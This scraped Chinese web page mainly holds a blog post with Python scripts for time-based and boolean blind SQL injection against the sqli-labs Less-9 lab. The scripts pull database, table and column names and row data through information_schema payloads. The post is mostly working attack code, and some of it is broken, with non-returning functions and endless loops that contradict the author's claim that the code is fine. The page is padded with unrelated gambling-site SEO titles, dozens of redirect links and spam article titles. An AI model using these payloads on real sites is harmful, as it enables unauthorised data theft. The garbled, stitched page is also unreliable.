当前位置: 首页 > wzjs >正文

棋牌类网站设计建设如何申请网页域名

棋牌类网站设计建设,如何申请网页域名,企业网站免费建站,微信第三方开发平台关于时间盲注&#xff0c;boolen盲注的后面几个获取表、列、具体数据的函数补全 时间盲注方法 import time import requests# 获取数据库名 def inject_database(url):dataname for i in range(1, 20):low 32high 128mid (low high) // 2while low < high:payload &q…

关于时间盲注,boolen盲注的后面几个获取表、列、具体数据的函数补全

时间盲注方法

import time
import requests# 获取数据库名
def inject_database(url):dataname = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(3), 0)-- " % (i, mid)res = {"id": payload}start = time.time()r = requests.get(url, params=res)end = time.time()if end-start >= 3:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakdataname += chr(mid)print(dataname)# 获取表名
def table_inject(url, dataname):table_name = []index = 0while True:table_name = ""position = 1while True:low = 32high = 127while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{dataname}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "params = {"id": payload}start = time.time()r = requests.get(url, params=params)end = time.time()if end - start >= 3:low = mid + 1else:high = midif low == 32:breaktable_name += chr(low)position += 1# if not table_name:#     break# table_name.append(table_name)# index +=1return table_name# 获取列名
def colum_inject(url, dataname, table_name):colum_name = []index = 0while True:colum_name = ""position = 1while True:low = 32high = 127while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{dataname}' and table_name='{table_name}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "params = {"id": payload}start = time.time()r = requests.get(url, params=params)end = time.time()if end-start >= 3:low = mid + 1else:high = midif low == 32:breakcolum_name += chr(low)position += 1return colum_name# 获取具体数据
def data_inject(url, dataname, table_name, colum_name):data = []index = 0while True:row_data = ""position = 1while True:low = 32high = 127while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select {colum_name} from {dataname}.{table_name} limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "params = {"id": payload}start = time.time()r = requests.get(url, params=params)end = time.time()if end - start >= 3:low = mid + 1else:high = midif low == 32:breakrow_data += chr(low)position += 1return dataif __name__ == '__main__':url = 'http://127.0.0.1:8080/sqlilabs/Less-9/'dataname = inject_database(url)print(f"database: {dataname}")table_names = table_inject(url, dataname)print(f"table-name: {table_names}")if table_names:table_name = table_names[0]colum_names = colum_inject(url, dataname, table_name)print(f"colum-name: {colum_names}")if colum_names:colum_name = colum_names[0]data = data_inject(url, dataname, table_name, colum_name)print(f"时间盲注 - 具体数据: {data}")

布尔盲注方法

import requests# 通用的布尔盲注函数
def boolen_inject(url, payload, payloadfas, params):result = ""for pos in range(1, 20):for ascii_val in range(32, 127):payload_true = payload.format(pos, ascii_val)payload_false = payloadfas.format(pos, ascii_val)params_true = {params: payload_true}params_false = {params: payload_false}response_true = requests.get(url, params=params_true)response_false = requests.get(url, params=params_false)if response_true.text != response_false.text:result += chr(ascii_val + 1)breakelse:breakreturn result# 布尔盲注获取数据库名
def get_database_name(url, params):payload = "1' and ascii(substr(database(), {}, 1)) > {} -- "payloadfas = "1' and ascii(substr(database(), {}, 1)) <= {} -- "return boolen_inject(url, payload, payloadfas, params)# 布尔盲注获取表名
def table_inject(url, params, database_name):table_names = []index = 0while True:payload = (f"1' and ascii(substr((select table_name from information_schema.tables "f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) > {{}} -- ")payloadfas = (f"1' and ascii(substr((select table_name from information_schema.tables "f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- ")table_name = boolen_inject(url, payload, payloadfas, params)if not table_name:breaktable_names.append(table_name)index += 1return table_names# 布尔盲注获取列名
def column_inject(url, params, database_name, table_name):column_names = []index = 0while True:payload = (f"1' and ascii(substr((select column_name from information_schema.columns "f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) > {{}} -- ")payloadfas = (f"1' and ascii(substr((select column_name from information_schema.columns "f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- ")column_name = boolen_inject(url, payload, payloadfas, params)if not column_name:breakcolumn_names.append(column_name)index += 1return column_names# 布尔盲注获取具体数据
def data_inject(url, params, database_name, table_name, column_name):data = []index = 0while True:payload = (f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) > {{}} -- ")payloadfas = (f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) <= {{}} -- ")row_data = boolen_inject(url, payload, payloadfas, params)if not row_data:breakdata.append(row_data)index += 1return dataif __name__ == '__main__':url = "http://127.0.0.1:8080/sqlilabs/Less-9/index.php"params = "id"# 获取数据库名database_name = get_database_name(url, params)print(f"database_name: {database_name}")# 获取表名table_names = table_inject(url, params, database_name)print(f"table_name: {table_names}")if table_names:table_name = table_names[0]# 获取列名column_names = column_inject(url, params, database_name, table_name)print(f"column_name: {column_names}")if column_names:column_name = column_names[0]# 获取具体数据data = data_inject(url, params, database_name, table_name, column_name)print(f"data: {data}")

实验结论

但是两种方式都显示不了数据库名称,检查后发现是基础配置问题导致代码连接不上,正常在网址上进入是可以的。

代码本身没有问题。

现在我还没有找到问题所在,后面会抽时间改进。


文章转载自:

http://5YU2tKEv.bfjtp.cn
http://5hGIAEuf.bfjtp.cn
http://nHN39E2G.bfjtp.cn
http://krzdeqw0.bfjtp.cn
http://NmETSwO1.bfjtp.cn
http://smUagrY7.bfjtp.cn
http://9oVUAB7x.bfjtp.cn
http://Q07pzMDg.bfjtp.cn
http://LlXM0N8r.bfjtp.cn
http://Yy4ZPJ1w.bfjtp.cn
http://XXSvAwlD.bfjtp.cn
http://hBgrJLMC.bfjtp.cn
http://PgJdly5l.bfjtp.cn
http://KwVBfjQL.bfjtp.cn
http://lXDtWKss.bfjtp.cn
http://Eh0UtnHq.bfjtp.cn
http://5uYvfwrA.bfjtp.cn
http://XyVntlD7.bfjtp.cn
http://f0W4yHqR.bfjtp.cn
http://aS68Kw3U.bfjtp.cn
http://rUFOlmKQ.bfjtp.cn
http://vM8kb6as.bfjtp.cn
http://skYYcXqx.bfjtp.cn
http://LwXGUhOv.bfjtp.cn
http://ERLti1QY.bfjtp.cn
http://CdMyK2ML.bfjtp.cn
http://ARBrzQMU.bfjtp.cn
http://mVg5k0YM.bfjtp.cn
http://wHuxRCHv.bfjtp.cn
http://63culduK.bfjtp.cn
http://www.dtcms.com/wzjs/648506.html

相关文章:

  • 深圳网站建设公司官网购物网站上分期怎么做的
  • asp.net网站开发上海网站建设品牌
  • 怎样在手机上建设网站wordpress点击创建配置文件没反应
  • 客户网站建设洽谈方案福建省建设资格管理中心网站
  • 网站 相对路径云服务器建立多个网站
  • 网站怎么做才被收录快成都住建局官网从哪里查房屋备案没有
  • it公论 是建立在什么网站网站开发示例
  • 如何在百度上建网站安徽网站建设网站运营
  • 企业网站建设飞沐局网站建设合同
  • 站长工具seo综合查询pc网站制作的评价指标
  • 建站管理域名管理绑定外部域名中html5博客网站模板
  • 肇庆网站优化建设工业互联网平台排名
  • 做动图素材网站如何建设一个普通网页网站
  • 免费建设一个网站廊坊网站建设外包
  • 查询数据的网站怎么做在建设部网站首页
  • 阿里云大学 网站建设男直接做的视频网站
  • 中国建设银行属于什么类型网站软件开发税率是13%还是6
  • 网站入股云建站石家庄网站制作设计
  • wordpress端口映射wordpress编辑优化
  • 建设厅科技中心网站首页买个网站域名多少钱
  • 网站建设工作计划免费的wordpress主题好
  • 创建自己的网站怎么弄优良的定制网站建设制作商
  • 国内简洁网站设计设计师共享平台
  • 网页制作好了如果让别人搜到揭阳百度快照优化排名
  • 不是网站开发语言的是境外电商有哪些平台
  • 网站怎么关闭网站开发保密协议范本下载
  • 免费网站建设入门登封网站建设
  • 跨境电商数据分析网站房地产建设网站的意义
  • 网站建设励志文章电子商务网站开发基础
  • 一流的网站建设与优化网站建设安全架构